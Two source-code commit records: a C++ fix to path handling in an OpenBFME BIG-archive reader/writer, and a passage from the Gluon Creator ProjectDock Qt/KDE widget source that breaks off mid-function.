{"text":"<commit_before>#include \"bigentry.hpp\"\n#include \"log.hpp\"\n#include <algorithm>\n#include <cstdio>\n#include <cctype>\n\n#include FILESYSTEM_HEADER\nnamespace fs = FILESYSTEM_NAMESPACE;\n\nnamespace OpenBFME {\n\nuint32_t readUInt32(FILE* file){\n    uint8_t val[4];\n    fread(val, 1, 4, file);\n    return val[0] << 24 | val[1] << 16 | val[2] << 8 | val[3];\n}\n\nvoid writeUInt32(FILE* file, uint32_t value){\n    uint8_t val[] { uint8_t(value >> 24), uint8_t(value >> 16), uint8_t(value >> 8), uint8_t(value) };\n    fwrite(val, 1, 4, file);\n}\n\nstring readString(FILE* file, uint32_t limit, char terminator = '\\0'){\n    string data;\n    while(uint32_t(ftell(file)) < limit){\n        character c = fgetc(file);\n        if(c == '\\0' || c == terminator || ferror(file) || feof(file)){\n            break;\n        }\n        data += c;\n    }\n    return data;\n}\n\nBigArchive::BigArchive(const string &filename) : archiveFilename(filename), file(nullptr) {\n    std::replace(archiveFilename.begin(), archiveFilename.end(), '\\\\', '\/');\n}\n\nBigArchive::~BigArchive(){\n    close();\n}\n\nbool BigArchive::readHeader(){\n    if (fs::is_directory(fs::path(archiveFilename))) {\n        backend = Folder;\n\n        for (fs::recursive_directory_iterator dir(archiveFilename), end; dir != end; ++dir) {\n            const fs::path& currentPath = dir->path();\n            if (fs::is_regular_file(currentPath)) {\n                string filename = currentPath.generic_string();\n                filename.erase(0, filename.find_first_of('\/') + 1);\n                uint32_t filesize = uint32_t(fs::file_size(currentPath));\n\n                entries.emplace(*this, 0, filesize, filename);\n                Log::debug(\"File path: \\\"%s\\\" length: %#08x\", filename, filesize);\n            }\n        }\n\n        return true;\n    }\n\n    backend = BigFile;\n\n    if(!open()){\n        return false;\n    }\n\n    character id[4] = {0};\n    fread(id, 1, 4, file);\n\n    if (id[0] != 'B' || id[1] != 'I' || id[2] != 'G' || (id[3] != '4' && id[3] != 'F')){\n        close();\n        return false;\n    }\n\n    fseek(file, 8, SEEK_SET);\n\n    uint32_t fileCount = readUInt32(file);\n    uint32_t headerEnd = readUInt32(file);\n\n    Log::info(\"File Count: %u Header End: %#08x\", fileCount, headerEnd);\n\n    for(uint32_t f = 0; f < fileCount; ++f){\n        uint32_t start = readUInt32(file);\n        uint32_t end   = start + readUInt32(file);\n        string path = readString(file, headerEnd);\n        std::replace(path.begin(), path.end(), '\\\\', '\/');\n\n        entries.emplace(*this, start, end, path);\n\n        Log::debug(\"File #%04d start: %#08x end: %#08x path: \\\"%s\\\"\", f + 1, start, end, path);\n    }\n\n    if(uint32_t(ftell(file)) > headerEnd){\n        Log::warning(\"Reading of file info passed through end of header.\");\n    }\n\n    return true;\n}\n\nbool BigArchive::open(){\n    if(file != nullptr){\n        return true;\n    }\n\n    if(backend == BigFile){\n        file = fopen(archiveFilename.c_str(), \"rb\");\n    }\n\n    return file != nullptr;\n}\n\nvoid BigArchive::close(){\n    if(file != nullptr){\n        fclose(file);\n        file = nullptr;\n    }\n    currentEntry = nullptr;\n}\n\nbool BigArchive::openEntry(const BigEntry& entry) {\n    entry.resetLineNumber();\n\n    switch (backend) {\n    case BigFile:\n        if (open()) {\n            fseek(file, entry.start, SEEK_SET);\n            currentEntry = &entry;\n            return true;\n        }\n        break;\n    case Folder:\n        close();\n        file = fopen((archiveFilename + '\/' + entry.filename).c_str(), \"rb\");\n        if (file != nullptr) {\n            currentEntry = &entry;\n            return true;\n        }\n        break;\n    }\n    return false;\n}\n\nconst BigEntry* BigArchive::openFile(const string &filename){\n    auto entry = std::find_if(entries.begin(), entries.end(), [&](const BigEntry& it){ return it.filename == filename; });\n\n    if(entry != entries.end() && openEntry(*entry)){\n        return &(*entry);\n    }\n\n    return nullptr;\n}\n\nstring BigArchive::getLine(const BigEntry &entry, bool checkComments){\n    if(!open() || eof(entry)){\n        return \"\";\n    }\n    string str = readString(file, entry.end, '\\n');\n\n    if(str.back() == '\\r'){\n        str.pop_back();\n    }\n\n    if(checkComments){\n        string::size_type comment = std::min(str.find(';'), str.find(\"\/\/\"));\n        if(comment != string::npos)\n            str.erase(comment);\n    }\n\n    entry.incrementLineNumber();\n\n    return str;\n}\n\ncharacter BigArchive::getChar(const BigEntry &entry){\n    if (!open() || eof(entry)){\n        return 0;\n    }\n\n    character ch = fgetc(file);\n\n    if (ch == '\\n'){\n        entry.incrementLineNumber();\n    }\n\n    return ch;\n}\n\nvoid BigArchive::ungetChar(const BigEntry &entry, character c) {\n    if (tell(entry) > 0) {\n        ungetc(c, file);\n\n        if (c == '\\n') {\n            entry.decrementLineNumber();\n        }\n    }\n}\n\nbool BigArchive::seek(const BigEntry &entry, uint32_t pos){\n    if(&entry != currentEntry){\n        openEntry(entry);\n    }\n\n    \/* Invalidate the stored current line number. *\/\n    entry.invalidateLineNumber();\n\n    pos += entry.start;\n    if(pos < entry.end){\n        fseek(file, pos, SEEK_SET);\n        return true;\n    }\n    return false;\n}\n\nuint32_t BigArchive::tell(const BigEntry &entry){\n    if(&entry != currentEntry){\n        openEntry(entry);\n    }\n\n    uint32_t pos = ftell(file);\n    if(pos < entry.start){\n        return 0;\n    }\n    if(pos > entry.end){\n        return entry.end - entry.start;\n    }\n    return pos - entry.start;\n}\n\nbool BigArchive::eof(const BigEntry &entry){\n    uint32_t cpos = ftell(file);\n    return cpos < entry.start || cpos >= entry.end;\n}\n\nbool BigArchive::extract(const BigEntry& entry, const string &directory, bool fullPath, bool ignore, bool overwrite){\n    if(!openEntry(entry)){\n        Log::error(\"Error opening entry \\\"%s\\\"!\", entry.filename);\n        return false;\n    }\n\n    fs::path path = entry.filename;\n\n    path = fs::canonical(fs::path(directory)) \/ (fullPath ? path : path.filename());\n\n    fs::create_directories(path.parent_path());\n\n    if(fs::exists(path)){\n        \/* The option to ignore existing files takes precedence over overwriting them. *\/\n        if(ignore){\n            Log::info(\"Skipping existing file: \\\"%s\\\".\", entry.filename);\n\n            return true;\n        }else if(!overwrite){\n            character c = 0;\n\n            do{\n                Log::info(\"Overwrite existing file \\\"%s\\\"? [Y\/N]:\", path.generic_string());\n\n                c = std::tolower(std::getchar());\n\n                if(c == '\\n') continue;\n\n                \/* Only take one letter input. *\/\n                if(std::getchar() != '\\n'){\n                    c = 0;\n                    while(std::getchar() != '\\n') continue;\n                }\n            }while(c != 'n' && c != 'y');\n\n            if(c == 'n'){\n                Log::info(\"Skipping \\\"%s\\\".\", entry.filename);\n\n                return true;\n            }\n        }\n        Log::info(\"Overwriting \\\"%s\\\"...\", entry.filename);\n    }else{\n        Log::info(\"Extracting to \\\"%s\\\"...\", path.generic_string());\n    }\n\n    FILE* out = fopen(path.generic_string().c_str(), \"wb\");\n\n    if(out == nullptr){\n        Log::error(\"Unable to create file \\\"%s\\\"!\", path.generic_string());\n        return false;\n    }\n    uint32_t length = entry.end - entry.start;\n    uint8_t *buffer = new uint8_t[length];\n\n    fread(buffer, 1, length, file);\n    fwrite(buffer, 1, length, out);\n\n    fclose(out);\n    delete[] buffer;\n\n    Log::info(\"File successfully extracted.\");\n\n    return true;\n}\n\nbool BigArchive::extractAll(const string &directory, bool ignore, bool overwrite){\n    fs::create_directories(fs::path(directory));\n    for(auto &entry : entries){\n        if(!extract(entry, directory, true, ignore, overwrite)){\n            return false;\n        }\n    }\n    return true;\n}\n\nbool BigArchive::writeBig(const std::set<BigEntry>& entries, const string& filename) {\n    Log::info(\"Preparing to write %d files to \\\"%s\\\"\", integer(entries.size()), filename);\n\n    \/* 8 bytes for every entry + 24 at the start and end. *\/\n    uint32_t headerLength = uint32_t(entries.size() * 8) + 20;\n\n    \/* Add the length of the filenames to headerLength. *\/\n    for(auto &entry : entries){\n        headerLength += uint32_t(entry.filename.size()) + 1;\n    }\n\n    Log::debug(\"Calculated header length: %#08x\", headerLength);\n\n    FILE* file = fopen(filename.c_str(), \"wb\");\n\n    if (file == nullptr) {\n        Log::error(\"Unable to open %s for writing!\", filename);\n        return false;\n    }\n\n    \/* Either that or \"BIG4\". I'm not sure which... *\/\n    fwrite(\"BIGF\", 1, 4, file);\n\n    writeUInt32(file, 0);\n\n    \/* General info about the file. *\/\n    writeUInt32(file, uint32_t(entries.size()));\n    writeUInt32(file, headerLength);\n\n    \/* Put the first file one byte after the end of the header. *\/\n    uint32_t lastEnd = headerLength + 1;\n\n    \/* Write all the file information. *\/\n    for(auto &entry : entries){\n        uint32_t fileLength = entry.end - entry.start;\n        writeUInt32(file, lastEnd);\n        writeUInt32(file, fileLength);\n\n        \/* Write the filename and terminating null character. *\/\n        fputs(entry.filename.c_str(), file);\n        fputc('\\0', file);\n\n        \/* So we know where the next file will be written. *\/\n        lastEnd += fileLength;\n    }\n\n    \/* What exactly is this? *\/\n    fputs(\"L253\", file);\n\n    if(uint32_t(ftell(file)) > headerLength){\n        Log::error(\"Calculated header length too short!\");\n    }\n\n    \/* One more byte until where we start the first file... *\/\n    fputc('\\0', file);\n\n    \/* Write all the files. *\/\n    for(auto &entry : entries){\n        entry.seek(0);\n\n        for(character c; !entry.eof();){\n            c = entry.getChar();\n            fwrite(&c, sizeof(character), 1, file);\n        }\n    }\n\n    fclose(file);\n\n    Log::info(\"Finished writing to \\\"%s\\\".\", filename);\n\n    return true;\n}\n\nbool BigArchive::writeBig(const string& filename) {\n    \/* We only do this on a folder backend, because why would you do it on a .big? *\/\n    if (backend == Folder) {\n        return writeBig(entries, filename);\n    }\n    return false;\n}\n\n}\n<commit_msg>Fixed incorrect paths in folder backend.<commit_after>#include \"bigentry.hpp\"\n#include \"log.hpp\"\n#include <algorithm>\n#include <cstdio>\n#include <cctype>\n\n#include FILESYSTEM_HEADER\nnamespace fs = FILESYSTEM_NAMESPACE;\n\nnamespace OpenBFME {\n\nuint32_t readUInt32(FILE* file){\n    uint8_t val[4];\n    fread(val, 1, 4, file);\n    return val[0] << 24 | val[1] << 16 | val[2] << 8 | val[3];\n}\n\nvoid writeUInt32(FILE* file, uint32_t value){\n    uint8_t val[] { uint8_t(value >> 24), uint8_t(value >> 16), uint8_t(value >> 8), uint8_t(value) };\n    fwrite(val, 1, 4, file);\n}\n\nstring readString(FILE* file, uint32_t limit, char terminator = '\\0'){\n    string data;\n    while(uint32_t(ftell(file)) < limit){\n        character c = fgetc(file);\n        if(c == '\\0' || c == terminator || ferror(file) || feof(file)){\n            break;\n        }\n        data += c;\n    }\n    return data;\n}\n\nBigArchive::BigArchive(const string &filename) : archiveFilename(fs::path(filename).generic_string()), file(nullptr) { }\n\nBigArchive::~BigArchive(){\n    close();\n}\n\nbool BigArchive::readHeader(){\n    if (fs::is_directory(fs::path(archiveFilename))) {\n        backend = Folder;\n        \n        \/* Make sure the archiveFilename ends with a '\/' *\/\n        if (archiveFilename.back() != '\/')\n            archiveFilename += '\/';\n\n        for (fs::recursive_directory_iterator dir(archiveFilename), end; dir != end; ++dir) {\n            const fs::path& currentPath = dir->path();\n            if (fs::is_regular_file(currentPath)) {\n                string filename = currentPath.generic_string();\n\n                \/* Check to see if the filename contains the parent path, and if so remove it. *\/\n                if (filename.compare(0, archiveFilename.size(), archiveFilename, 0, archiveFilename.size()) == 0)\n                    filename.erase(0, archiveFilename.size());\n                else\n                    \/* Otherwise fall back to removing the first element in the path. *\/\n                    filename.erase(0, filename.find_first_of('\/') + 1);\n\n                uint32_t filesize = uint32_t(fs::file_size(currentPath));\n\n                entries.emplace(*this, 0, filesize, filename);\n                Log::debug(\"File path: \\\"%s\\\" length: %#08x\", filename, filesize);\n            }\n        }\n\n        return true;\n    }\n\n    backend = BigFile;\n\n    if (!open())\n        return false;\n\n    \/* The first 4 bytes shoule be either \"BIG4\" or \"BIGF\", quit if they aren't. *\/\n    character id[4] = {0};\n    fread(id, 1, 4, file);\n\n    if (id[0] != 'B' || id[1] != 'I' || id[2] != 'G' || (id[3] != '4' && id[3] != 'F')) {\n        close();\n        return false;\n    }\n\n    fseek(file, 8, SEEK_SET);\n\n    uint32_t fileCount = readUInt32(file);\n    uint32_t headerEnd = readUInt32(file);\n\n    Log::info(\"File Count: %u Header End: %#08x\", fileCount, headerEnd);\n\n    \/* Read the individual file information into entries. *\/\n    for (uint32_t f = 0; f < fileCount; ++f) {\n        uint32_t start = readUInt32(file);\n        uint32_t end   = start + readUInt32(file);\n        string path = readString(file, headerEnd);\n        std::replace(path.begin(), path.end(), '\\\\', '\/');\n\n        entries.emplace(*this, start, end, path);\n\n        Log::debug(\"File #%04d start: %#08x end: %#08x path: \\\"%s\\\"\", f + 1, start, end, path);\n    }\n\n    if (uint32_t(ftell(file)) > headerEnd)\n        Log::warning(\"Reading of file info passed through end of header.\");\n\n    return true;\n}\n\nbool BigArchive::open(){\n    if(file != nullptr){\n        return true;\n    }\n\n    if(backend == BigFile){\n        file = fopen(archiveFilename.c_str(), \"rb\");\n    }\n\n    return file != nullptr;\n}\n\nvoid BigArchive::close(){\n    if(file != nullptr){\n        fclose(file);\n        file = nullptr;\n    }\n    currentEntry = nullptr;\n}\n\nbool BigArchive::openEntry(const BigEntry& entry) {\n    entry.resetLineNumber();\n\n    switch (backend) {\n    case BigFile:\n        if (open()) {\n            fseek(file, entry.start, SEEK_SET);\n            currentEntry = &entry;\n            return true;\n        }\n        break;\n    case Folder:\n        close();\n        file = fopen((archiveFilename + '\/' + entry.filename).c_str(), \"rb\");\n        if (file != nullptr) {\n            currentEntry = &entry;\n            return true;\n        }\n        break;\n    }\n    return false;\n}\n\nconst BigEntry* BigArchive::openFile(const string &filename){\n    auto entry = std::find_if(entries.begin(), entries.end(), [&](const BigEntry& it){ return it.filename == filename; });\n\n    if(entry != entries.end() && openEntry(*entry)){\n        return &(*entry);\n    }\n\n    return nullptr;\n}\n\nstring BigArchive::getLine(const BigEntry &entry, bool checkComments){\n    if(!open() || eof(entry)){\n        return \"\";\n    }\n    string str = readString(file, entry.end, '\\n');\n\n    if(str.back() == '\\r'){\n        str.pop_back();\n    }\n\n    if(checkComments){\n        string::size_type comment = std::min(str.find(';'), str.find(\"\/\/\"));\n        if(comment != string::npos)\n            str.erase(comment);\n    }\n\n    entry.incrementLineNumber();\n\n    return str;\n}\n\ncharacter BigArchive::getChar(const BigEntry &entry){\n    if (!open() || eof(entry)){\n        return 0;\n    }\n\n    character ch = fgetc(file);\n\n    if (ch == '\\n'){\n        entry.incrementLineNumber();\n    }\n\n    return ch;\n}\n\nvoid BigArchive::ungetChar(const BigEntry &entry, character c) {\n    if (tell(entry) > 0) {\n        ungetc(c, file);\n\n        if (c == '\\n') {\n            entry.decrementLineNumber();\n        }\n    }\n}\n\nbool BigArchive::seek(const BigEntry &entry, uint32_t pos){\n    if(&entry != currentEntry){\n        openEntry(entry);\n    }\n\n    \/* Invalidate the stored current line number. *\/\n    entry.invalidateLineNumber();\n\n    pos += entry.start;\n    if(pos < entry.end){\n        fseek(file, pos, SEEK_SET);\n        return true;\n    }\n    return false;\n}\n\nuint32_t BigArchive::tell(const BigEntry &entry){\n    if(&entry != currentEntry){\n        openEntry(entry);\n    }\n\n    uint32_t pos = ftell(file);\n    if(pos < entry.start){\n        return 0;\n    }\n    if(pos > entry.end){\n        return entry.end - entry.start;\n    }\n    return pos - entry.start;\n}\n\nbool BigArchive::eof(const BigEntry &entry){\n    uint32_t cpos = ftell(file);\n    return cpos < entry.start || cpos >= entry.end;\n}\n\nbool BigArchive::extract(const BigEntry& entry, const string &directory, bool fullPath, bool ignore, bool overwrite){\n    if(!openEntry(entry)){\n        Log::error(\"Error opening entry \\\"%s\\\"!\", entry.filename);\n        return false;\n    }\n\n    fs::path path = entry.filename;\n\n    path = fs::canonical(fs::path(directory)) \/ (fullPath ? path : path.filename());\n\n    fs::create_directories(path.parent_path());\n\n    if(fs::exists(path)){\n        \/* The option to ignore existing files takes precedence over overwriting them. *\/\n        if(ignore){\n            Log::info(\"Skipping existing file: \\\"%s\\\".\", entry.filename);\n\n            return true;\n        }else if(!overwrite){\n            character c = 0;\n\n            do{\n                Log::info(\"Overwrite existing file \\\"%s\\\"? [Y\/N]:\", path.generic_string());\n\n                c = std::tolower(std::getchar());\n\n                if(c == '\\n') continue;\n\n                \/* Only take one letter input. *\/\n                if(std::getchar() != '\\n'){\n                    c = 0;\n                    while(std::getchar() != '\\n') continue;\n                }\n            }while(c != 'n' && c != 'y');\n\n            if(c == 'n'){\n                Log::info(\"Skipping \\\"%s\\\".\", entry.filename);\n\n                return true;\n            }\n        }\n        Log::info(\"Overwriting \\\"%s\\\"...\", entry.filename);\n    }else{\n        Log::info(\"Extracting to \\\"%s\\\"...\", path.generic_string());\n    }\n\n    FILE* out = fopen(path.generic_string().c_str(), \"wb\");\n\n    if(out == nullptr){\n        Log::error(\"Unable to create file \\\"%s\\\"!\", path.generic_string());\n        return false;\n    }\n    uint32_t length = entry.end - entry.start;\n    uint8_t *buffer = new uint8_t[length];\n\n    fread(buffer, 1, length, file);\n    fwrite(buffer, 1, length, out);\n\n    fclose(out);\n    delete[] buffer;\n\n    Log::info(\"File successfully extracted.\");\n\n    return true;\n}\n\nbool BigArchive::extractAll(const string &directory, bool ignore, bool overwrite){\n    fs::create_directories(fs::path(directory));\n    for(auto &entry : entries){\n        if(!extract(entry, directory, true, ignore, overwrite)){\n            return false;\n        }\n    }\n    return true;\n}\n\nbool BigArchive::writeBig(const std::set<BigEntry>& entries, const string& filename) {\n    Log::info(\"Preparing to write %d files to \\\"%s\\\"\", integer(entries.size()), filename);\n\n    \/* 8 bytes for every entry + 24 at the start and end. *\/\n    uint32_t headerLength = uint32_t(entries.size() * 8) + 20;\n\n    \/* Add the length of the filenames to headerLength. *\/\n    for(auto &entry : entries){\n        headerLength += uint32_t(entry.filename.size()) + 1;\n    }\n\n    Log::debug(\"Calculated header length: %#08x\", headerLength);\n\n    FILE* file = fopen(filename.c_str(), \"wb\");\n\n    if (file == nullptr) {\n        Log::error(\"Unable to open %s for writing!\", filename);\n        return false;\n    }\n\n    \/* Either that or \"BIG4\". I'm not sure which... *\/\n    fwrite(\"BIGF\", 1, 4, file);\n\n    writeUInt32(file, 0);\n\n    \/* General info about the file. *\/\n    writeUInt32(file, uint32_t(entries.size()));\n    writeUInt32(file, headerLength);\n\n    \/* Put the first file one byte after the end of the header. *\/\n    uint32_t lastEnd = headerLength + 1;\n\n    \/* Write all the file information. *\/\n    for(auto &entry : entries){\n        uint32_t fileLength = entry.end - entry.start;\n        writeUInt32(file, lastEnd);\n        writeUInt32(file, fileLength);\n\n        \/* Write the filename and terminating null character. *\/\n        fputs(entry.filename.c_str(), file);\n        fputc('\\0', file);\n\n        \/* So we know where the next file will be written. *\/\n        lastEnd += fileLength;\n    }\n\n    \/* What exactly is this? *\/\n    fputs(\"L253\", file);\n\n    if(uint32_t(ftell(file)) > headerLength){\n        Log::error(\"Calculated header length too short!\");\n    }\n\n    \/* One more byte until where we start the first file... *\/\n    fputc('\\0', file);\n\n    \/* Write all the files. *\/\n    for(auto &entry : entries){\n        Log::info(\"Writing file \\\"%s\\\".\", entry.filename);\n        entry.seek(0);\n\n        for(character c; !entry.eof();){\n            c = entry.getChar();\n            fwrite(&c, sizeof(character), 1, file);\n        }\n    }\n\n    fclose(file);\n\n    Log::info(\"Finished writing to \\\"%s\\\".\", filename);\n\n    return true;\n}\n\nbool BigArchive::writeBig(const string& filename) {\n    \/* We only do this on a folder backend, because why would you do it on a .big? *\/\n    if (backend == Folder) {\n        return writeBig(entries, filename);\n    }\n    return false;\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n * This file is part of the Gluon Development Platform\n * Copyright (c) 2010 Arjen Hiemstra <ahiemstra@heimr.nl>\n * Copyright (c) 2011 Laszlo Papp <djszapi@archlinux.us>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#include \"projectdock.h\"\n\n#include \"filemanager.h\"\n#include \"historymanager.h\"\n#include \"newobjectcommand.h\"\n#include \"objectmanager.h\"\n#include \"selectionmanager.h\"\n#include \"models\/projectmodel.h\"\n#include \"models\/models.h\"\n#include \"models\/modeltest.h\"\n\n#include \"lib\/selectionmanager.h\"\n#include \"objectmanager.h\"\n#include \"filemanager.h\"\n#include \"historymanager.h\"\n#include \"newobjectcommand.h\"\n\n#include \"core\/debughelper.h\"\n#include \"core\/gluon_global.h\"\n#include \"engine\/asset.h\"\n#include \"engine\/game.h\"\n#include \"engine\/gameobject.h\"\n#include \"engine\/gameproject.h\"\n#include \"lib\/selectionmanager.h\"\n#include \"engine\/scene.h\"\n\n#include <KDE\/KIcon>\n#include <KDE\/KInputDialog>\n#include <KDE\/KLocalizedString>\n#include <KDE\/KMessageBox>\n#include <KDE\/KRun>\n#include <KDE\/KStandardDirs>\n#include <KDE\/KToolBar>\n#include <KDE\/KFileItemListProperties>\n#include <KDE\/KFileItemActions>\n#include <KDE\/KFileDialog>\n\n#include <QtCore\/QDir>\n#include <QtCore\/QFile>\n#include <QtCore\/QFileInfo>\n#include <QtGui\/QMenu>\n#include <QtGui\/QTreeView>\n#include <QtGui\/QVBoxLayout>\n#include <QtGui\/QToolButton>\n\nusing namespace GluonCreator;\n\nclass ProjectDock::ProjectDockPrivate\n{\n    public:\n        ProjectDockPrivate( ProjectDock* parent )\n        {\n            DEBUG_BLOCK\n            q = parent;\n            view = 0;\n            GluonEngine::Asset* theItem;\n            const QHash<QString, const QMetaObject*> types = GluonCore::GluonObjectFactory::instance()->objectTypes();\n            QHash<QString, const QMetaObject*>::const_iterator i;\n            for( i = types.constBegin(); i != types.constEnd(); ++i )\n            {\n                theItem = qobject_cast<GluonEngine::Asset*>( i.value()->newInstance() );\n                if( theItem )\n                {\n                    const QList<GluonEngine::AssetTemplate*> templates = theItem->templates();\n                    for( int j = 0; j < templates.length(); ++j )\n                    {\n                        assetTemplates.append( templates[j] );\n                    }\n                }\n                else\n                {\n                    QObject* obj = i.value()->newInstance();\n                    if( obj )\n                    {\n                        if( obj->inherits( \"GluonEngine::Asset\" ) )\n                        {\n                            DEBUG_TEXT2( \"The Asset class %1 is lacking the Q_INTERFACES(GluonEngine::Asset) macro\", i.value()->className() );\n                        }\n                    }\n                }\n            }\n        }\n        ProjectDock* q;\n        ProjectModel* model;\n        QTreeView* view;\n        KToolBar* toolBar;\n        QMenu* newMenu;\n\n        QModelIndex currentContextIndex;\n        void menuForObject( QModelIndex index, QMenu* menu );\n        QList<QAction*> currentContextMenu;\n        QList<GluonEngine::AssetTemplate*> assetTemplates;\n};\n\nvoid ProjectDock::ProjectDockPrivate::menuForObject( QModelIndex index, QMenu* menu )\n{\n    GluonCore::GluonObject* object = static_cast<GluonCore::GluonObject*>( index.internalPointer() );\n    if( object )\n    {\n        const QMetaObject* mobj = object->metaObject();\n        if( mobj )\n        {\n            currentContextIndex = index;\n            QAction* action;\n            if( object->inherits( \"GluonEngine::Asset\" ) )\n            {\n                GluonEngine::Asset* asset = qobject_cast< GluonEngine::Asset* >( object );\n                if( asset )\n                {\n                    if(!asset->inherits(\"GluonEngine::Scene\"))\n                    {\n                        KFileItem item(KFileItem::Unknown, KFileItem::Unknown, KUrl(asset->absolutePath()));\n                        KFileItemListProperties properties(KFileItemList() << item );\n                        KFileItemActions* openWithActions = new KFileItemActions(menu);\n                        openWithActions->setItemListProperties(properties);\n\n                        openWithActions->addOpenWithActionsTo(menu);\n                    }\n\n                    menu->addSeparator();\n\n                    QList<QAction*> actions = asset->actions();\n                    foreach( QAction * action, actions )\n                    {\n                        connect( action, SIGNAL( triggered( bool ) ), model, SIGNAL( layoutChanged() ) );\n                        menu->addAction(action);\n                    }\n                }\n            }\n            else\n            {\n                menu->addActions(newMenu->actions());\n            }\n\n            if( !object->inherits( \"GluonEngine::GameProject\" ) )\n            {\n                menu->addSeparator();\n\n                action = new QAction( KIcon( \"edit-delete\" ), i18n( \"Delete \\\"%1\\\"...\", object->name() ), this->q );\n                connect( action, SIGNAL( triggered() ), q, SLOT( deleteActionTriggered() ) );\n                menu->addAction( action );\n            }\n        }\n    }\n}\n\n\n\nProjectDock::ProjectDock( const QString& title, QWidget* parent, Qt::WindowFlags flags )\n    : QDockWidget( title, parent, flags ), d( new ProjectDockPrivate( this ) )\n{\n    setObjectName( \"ProjectDock\" );\n\n    d->model = Models::instance()->projectModel();\n    new ModelTest( d->model, this );\n\n    d->view = new QTreeView( this );\n    d->view->setModel( d->model );\n    d->view->setHeaderHidden( true );\n    d->view->setDragEnabled( true );\n    d->view->setAcceptDrops( true );\n    d->view->setContextMenuPolicy( Qt::CustomContextMenu );\n    d->view->setEditTriggers( QAbstractItemView::NoEditTriggers );\n    connect( d->view, SIGNAL( customContextMenuRequested( const QPoint& ) ), SLOT( showContextMenuRequested( const QPoint& ) ) );\n    connect( d->view->selectionModel(), SIGNAL( selectionChanged( QItemSelection, QItemSelection ) ), SLOT( selectionChanged( QItemSelection, QItemSelection ) ) );\n\n    d->model->setProject( GluonEngine::Game::instance()->gameProject() );\n    connect( GluonEngine::Game::instance(), SIGNAL( currentProjectChanged( GluonEngine::GameProject* ) ), SLOT( currentProjectChanged( GluonEngine::GameProject* ) ) );\n    connect( d->view, SIGNAL( doubleClicked( QModelIndex ) ), SLOT( activated( QModelIndex ) ) );\n\n    QWidget* widget = new QWidget( this );\n    QVBoxLayout* layout = new QVBoxLayout();\n    widget->setLayout( layout );\n\n    d->toolBar = new KToolBar( widget );\n    d->toolBar->setIconDimensions( 16 );\n\n    d->newMenu = new QMenu(i18n(\"New\"), d->toolBar);\n\n    QToolButton* menuButton = new QToolButton(d->toolBar);\n    menuButton->setIcon(KIcon(\"document-new\"));\n    menuButton->setText(i18n(\"Add...\"));\n    menuButton->setPopupMode(QToolButton::InstantPopup);\n    menuButton->setToolButtonStyle(Qt::ToolButtonTextBesideIcon);\n    menuButton->setMenu(d->newMenu);\n\n    d->toolBar->insertWidget(0, menuButton);\n\n    d->newMenu->addAction( KIcon( \"folder\" ), i18n( \"New Folder\" ), this, SLOT( newSubMenuTriggered() ) );\n    d->newMenu->addAction( KIcon( \"document-new\" ), i18n( \"New Scene\" ), ObjectManager::instance(), SLOT( createNewScene() ) );\n    d->newMenu->addSeparator();\n\n    \/\/ Run through all the templates and add an action for each...\n    foreach( const GluonEngine::AssetTemplate * item, d->assetTemplates )\n    {\n        QAction* action = d->newMenu->addAction( i18n( \"New %1\" ).arg( item->name ), this, SLOT( newAssetTriggered() ));\n        action->setProperty( \"newAssetClassname\", QString( item->parent()->metaObject()->className() ) );\n        action->setProperty( \"newAssetName\", item->name );\n        action->setProperty( \"newAssetPluginname\", item->pluginname );\n        action->setProperty( \"newAssetFilename\", item->filename );\n    }\n\n    d->newMenu->addSeparator();\n    d->newMenu->addAction( i18n(\"Import Assets...\"), this, SLOT(importAssetsTriggered()) );\n\n    d->toolBar->addAction( KIcon( \"edit-delete\" ), i18nc( \"Delete selected object from project\", \"Delete\" ), this, SLOT( deleteActionTriggered() ) );\n\n    layout->addWidget( d->toolBar );\n    layout->addWidget( d->view );\n\n    setWidget( widget );\n}\n\nProjectDock::~ProjectDock()\n{\n    delete d;\n}\n\nvoid ProjectDock::activated( QModelIndex index )\n{\n    DEBUG_FUNC_NAME\n    if( !index.isValid() )\n    {\n        return;\n    }\n\n    QObject* obj = static_cast<QObject*>( index.internalPointer() );\n    if( !obj )\n    {\n        return;\n    }\n\n    GluonEngine::Scene* scene = qobject_cast<GluonEngine::Scene*>( obj );\n    GluonEngine::Asset* asset = qobject_cast<GluonEngine::Asset*>( obj );\n    \/\/ Scene's a special asset, so we check for that first\n    if( scene )\n    {\n        if( GluonEngine::Game::instance()->currentScene() != scene )\n        {\n            GluonEngine::Game::instance()->setCurrentScene( scene );\n            GluonEngine::Game::instance()->initializeAll();\n            GluonEngine::Game::instance()->drawAll();\n        }\n    }\n    else if( asset )\n    {\n        FileManager::instance()->openAsset( asset );\n    }\n}\n\nvoid ProjectDock::selectionChanged( const QItemSelection& selected, const QItemSelection& deselected )\n{\n    Q_UNUSED( deselected )\n\n    SelectionManager::SelectionList selection;\n    foreach( const QItemSelectionRange & range, selected )\n    {\n        foreach( const QModelIndex & index, range.indexes() )\n        {\n            GluonCore::GluonObject* obj = static_cast<GluonCore::GluonObject*>( index.internalPointer() );\n            selection.append( obj );\n        }\n    }\n    SelectionManager::instance()->setSelection( selection );\n}\n\nvoid ProjectDock::currentProjectChanged( GluonEngine::GameProject* project )\n{\n    d->model->setProject( project );\n\n    if( !d->toolBar->isEnabled() )\n        d->toolBar->setEnabled( true );\n\n    d->view->expandAll();\n}\n\nvoid ProjectDock::showContextMenuRequested( const QPoint& pos )\n{\n    QModelIndex index = d->view->indexAt( pos );\n    if( !index.isValid() )\n        index = d->model->index( 0, 0 );\n\n    QMenu menu( static_cast<GluonCore::GluonObject*>( index.internalPointer() )->name(), this );\n    d->menuForObject(index, &menu);\n    menu.exec( d->view->mapToGlobal( pos ) );\n    connect( &menu, SIGNAL( aboutToHide() ), SLOT( contextMenuHiding() ) );\n}\n\nvoid ProjectDock::contextMenuHiding()\n{\n    d->currentContextIndex = QModelIndex();\n}\n\nvoid ProjectDock::deleteActionTriggered()\n{\n    DEBUG_BLOCK\n    if( !d->currentContextIndex.isValid() )\n        d->currentContextIndex = d->view->selectionModel()->currentIndex();\n\n    if( 